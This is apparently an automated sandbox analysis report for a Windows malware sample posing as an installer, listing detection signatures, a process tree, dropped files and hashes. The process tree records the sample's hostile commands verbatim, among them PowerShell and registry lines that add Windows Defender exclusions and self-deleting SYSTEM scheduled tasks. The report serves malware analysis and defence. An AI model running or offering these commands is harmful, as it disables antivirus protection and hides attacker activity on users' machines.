Analysis

  • max time kernel
    151s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 03:09

General

  • Target
    install_q0.3.03.exe
  • Size 25.8MB
  • Sample260831-dnswbstfqe
  • SHA256 292272f35b22c02e4d2fba72ec3d8692f5de8a6d3244ba6bec5845a66523b857
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.03.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3728
  • C:\Users\Public\CG4bIB\hz165F.exe
    "C:\Users\Public\CG4bIB\hz165F.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CG4bIB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CG4bIB\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2032
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4640
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6016
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:700
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1080
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3976
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4956
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1932
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5764
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1140
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4172
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1304
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2744
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1796
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3416
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:808
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4664
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5740
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CG4bIB" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4940
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CG4bIB" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5924
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4752
                        • C:\Users\Public\CG4bIB\hz165F.exe
                          "C:\Users\Public\CG4bIB\hz165F.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2724
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4508
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4612
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3940
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4740
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3884
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5620

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\CG4bIB\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 93c4a9549bc98466fda977640c665f3821406edcb2d19b5309355908ff38d635
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\CG4bIB\adoresd.dat
                              • Size 4.7MB
                              • SHA256 9aabefe865390105f83d7353c13615e8303d7ea76bac53052fce25c104505924
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              hz165F.exe

                              • Path C:\Users\Public\CG4bIB\hz165F.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\CG4bIB\msadox.tb
                              • Size 8KB
                              • SHA256 f3a314e26ee1a0eef102a67fca2908a868226bcd8860e5c053daeee956f37fbc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2332-560-0x000002022A540000-0x000002022A5CA000-memory.dmp

                              memory/2332-559-0x000002022A540000-0x000002022A5CA000-memory.dmp

                              memory/2332-566-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-565-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-530-0x00007FF8021B0000-0x00007FF8021B2000-memory.dmp

                              memory/2332-556-0x0000020229230000-0x000002022927E000-memory.dmp

                              memory/2332-563-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-531-0x00007FFFDF500000-0x00007FFFDFA1E000-memory.dmp

                              memory/2332-536-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-538-0x00007FF8021C0000-0x00007FF8021C2000-memory.dmp

                              memory/2332-539-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-543-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-545-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-546-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-544-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-550-0x0000020229C20000-0x000002022A4A7000-memory.dmp

                              memory/2332-558-0x000002022A540000-0x000002022A5CA000-memory.dmp

                              memory/2332-561-0x000002022A540000-0x000002022A5CA000-memory.dmp

                              memory/2724-586-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/2724-584-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/2724-587-0x00007FF8021B0000-0x00007FF8021B2000-memory.dmp

                              memory/2724-585-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/2724-576-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/2724-579-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/2724-573-0x00007FFFDF500000-0x00007FFFDFA1E000-memory.dmp

                              memory/2724-578-0x00007FF8021C0000-0x00007FF8021C2000-memory.dmp

                              memory/2724-583-0x000002BC606C0000-0x000002BC60F47000-memory.dmp

                              memory/3728-504-0x00007FFFF0D80000-0x00007FFFF0D92000-memory.dmp

                              memory/3728-525-0x00007FFFF0D80000-0x00007FFFF0D92000-memory.dmp

                              memory/3728-524-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/3728-2-0x00000000008B0000-0x00000000008BC000-memory.dmp

                              memory/3728-1-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/3728-0-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/5840-600-0x000001DE464A0000-0x000001DE464C2000-memory.dmp

                              memory/5840-605-0x000001DE46500000-0x000001DE4651E000-memory.dmp

                              memory/5840-606-0x000001DE46520000-0x000001DE465D2000-memory.dmp

                              memory/5840-607-0x000001DE465E0000-0x000001DE465EA000-memory.dmp